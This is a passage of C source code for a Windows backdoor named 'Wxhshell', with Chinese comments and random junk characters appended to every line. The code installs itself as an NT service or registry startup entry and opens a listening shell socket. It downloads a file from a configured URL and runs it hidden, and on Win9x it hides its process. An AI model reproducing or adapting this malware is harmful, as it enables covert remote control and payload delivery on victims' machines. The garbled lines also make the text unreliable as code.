DWORD BasePriority; W)
ULONG UniqueProcessId; #{?RE?nD
ULONG InheritedFromUniqueProcessId; FS @55mQ
} PROCESS_BASIC_INFORMATION; f61vE
/.A"HGAk
PROCNTQSIP NtQueryInformationProcess; ZXiJ5BZ
'
\>k7?@
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; *tR'K#:&g!
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ?/sn"~"
>zfx2wh\a
HANDLE hProcess; LXrk5>9
PROCESS_BASIC_INFORMATION pbi; HP<a'| r
KXcRm)
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); f qWme:x
if(NULL == hInst ) return 0; mO TA
l>s@&%;Mg
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); |90/tNe
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); }>621L3 -
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); +N2ILE8[<
g@/}SJh/>
if (!NtQueryInformationProcess) return 0; TEj"G7]1$A
-*T0Cl.
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); wzoT!-_X
if(!hProcess) return 0; PX/^*
K~3Y8ca
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; pg_H' 0R
q?]KZ_a
CloseHandle(hProcess); aAn p7\7
017n hI
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 8o
$` '
if(hProcess==NULL) return 0; 6jm/y@|F!
368 g>/#'
HMODULE hMod; 5^ubXA
char procName[255]; 3tkCmB
unsigned long cbNeeded; &l_}yf"v
.~rg#*]^
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); }K,3SO(:
9}fez)m:g0
CloseHandle(hProcess); e6{E(=R[M
H`q[!5~8
if(strstr(procName,"services")) return 1; // 以服务启动 W.D>$R2
@"^7ASd%
return 0; // 注册表启动 JdWav!PYm
} {'{9B
m,]9\0GUd
// 主模块 9p^gF2?k
int StartWxhshell(LPSTR lpCmdLine) ]8Xip/uE
{ Clap3E|a
SOCKET wsl; Ja/
BOOL val=TRUE; [[';Hi^
int port=0; aZtM
_
struct sockaddr_in door; V
joVC$ZX
}:J-o
if(wscfg.ws_autoins) Install(); "K+EZ%~<
\&Bdi6xAy
port=atoi(lpCmdLine); ^1_[UG
d1
kE)R
if(port<=0) port=wscfg.ws_port; [io|qLr}\
-m
;n}ECg
WSADATA data; #!#s7^%K&
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; K,U8 vc
37jrWe6xwp
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 3r,Kt&2$
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 7i#/eRui
door.sin_family = AF_INET; !3DY#
door.sin_addr.s_addr = inet_addr("127.0.0.1"); $
O[Y
door.sin_port = htons(port); S9%,{y
*{Z=)k%
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 42}8es.aa
closesocket(wsl); pW>{7pXn
return 1; 91q
} HGd.meQ
0plX"NU
if(listen(wsl,2) == INVALID_SOCKET) { NN5Ejr,
closesocket(wsl); kh#fUAt
return 1; fl2XI=[v4
} ga S}>?qk
Wxhshell(wsl); \W=
qqE]
WSACleanup();
fWi/mK3c
V s=o@
return 0; )t\aB_ =
K"X"2c1o
} M,bs`amz
5)h fI7{d
// 以NT服务方式启动 =]"I0G-s!
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) "QiLu=Rq
{ [9NrPm3d
DWORD status = 0; 0?gHRdU"
DWORD specificError = 0xfffffff; L2~'Z'q
e:C4f
serviceStatus.dwServiceType = SERVICE_WIN32; nf1 `)tXG
serviceStatus.dwCurrentState = SERVICE_START_PENDING; {[L('MH2|
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; \ a(ce?C
serviceStatus.dwWin32ExitCode = 0; B_b5&M@
serviceStatus.dwServiceSpecificExitCode = 0; iy]?j$B$
serviceStatus.dwCheckPoint = 0; ]H\tz@
&
serviceStatus.dwWaitHint = 0; uaU2D-ft"
Y|
ch ;
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); <l5m\A
if (hServiceStatusHandle==0) return; Cz9MXb]B
3hUP>F8
status = GetLastError(); VRD^> Gi
if (status!=NO_ERROR) DGS,iRLnA
{ qE]e+S?57a
serviceStatus.dwCurrentState = SERVICE_STOPPED; $z 5kA9
serviceStatus.dwCheckPoint = 0; ha 2=O
serviceStatus.dwWaitHint = 0; %:;g|PC
serviceStatus.dwWin32ExitCode = status; P*VZ$bUe5@
serviceStatus.dwServiceSpecificExitCode = specificError; zZ<*
SetServiceStatus(hServiceStatusHandle, &serviceStatus);
~vM99hW
return; Np r u
} >'.: Acn
rzLW@k
serviceStatus.dwCurrentState = SERVICE_RUNNING; zEukEA^9`
serviceStatus.dwCheckPoint = 0; N>]J$[j
serviceStatus.dwWaitHint = 0; #k`gm)|
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 8?YeaMIBB
} q(~|roKA(
jI H^
// 处理NT服务事件,比如:启动、停止 uI%7jA~@
VOID WINAPI NTServiceHandler(DWORD fdwControl) BHZhdm@),
{ M'|p<SO]
switch(fdwControl) 4i^WE;|s
{ K{"hf:k
case SERVICE_CONTROL_STOP: W-/V5=?
serviceStatus.dwWin32ExitCode = 0; u*,>$(-u
serviceStatus.dwCurrentState = SERVICE_STOPPED; )58~2vR
serviceStatus.dwCheckPoint = 0; CA5`uh
serviceStatus.dwWaitHint = 0; `+>K)5hrR
{ 2+~gZxHq
SetServiceStatus(hServiceStatusHandle, &serviceStatus); c$tX3ug6I
} :XG~AR/
return; %2g<zdab
case SERVICE_CONTROL_PAUSE: 1<_/Qu>V
serviceStatus.dwCurrentState = SERVICE_PAUSED; AYNdV(
break; ,u)jZ7
case SERVICE_CONTROL_CONTINUE: H6|eUU[&
serviceStatus.dwCurrentState = SERVICE_RUNNING; =adHP|S
break; IAq
o(Qm
case SERVICE_CONTROL_INTERROGATE: 0_MtmmL.
break; d%-/U!z?
}; %d(= >
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8"ZS|^#
} $gD8[NAIx=
z0SF2L H
// 标准应用程序主函数 .Y^cs+-o
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) c:>&YGmhu
{ V %D1Q}X
nb<o o:^
// 获取操作系统版本 jC{KI!kPt
OsIsNt=GetOsVer(); TO"Md["GI
GetModuleFileName(NULL,ExeFile,MAX_PATH); 83gWA>Odh
eNVuw: Q+
// 从命令行安装 u'>94Gm}
if(strpbrk(lpCmdLine,"iI")) Install(); A>2 _I)
k,k>w#&
// 下载执行文件 P R3Arfle
if(wscfg.ws_downexe) { 1# z@D(
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) @|Yn~PwKs
WinExec(wscfg.ws_filenam,SW_HIDE); $j<KXR
} voN~f>
LyWY\K a
if(!OsIsNt) { *pv<ZF0>
// 如果时win9x,隐藏进程并且设置为注册表启动 #9!7-!4pW
HideProc(); : MjDcI~
StartWxhshell(lpCmdLine); ov;^ev,(
} JTm'fo[
else c"Vp5lo0
if(StartFromService()) Ro"'f7(v.
// 以服务方式启动 xdM'v{N#m
StartServiceCtrlDispatcher(DispatchTable); LbRQjwc]W
else 9q_{_%G%
// 普通方式启动 =W:=}ODD
StartWxhshell(lpCmdLine); dr: x0>
g3>>gu#0DC
return 0; hd~#I<8;2
}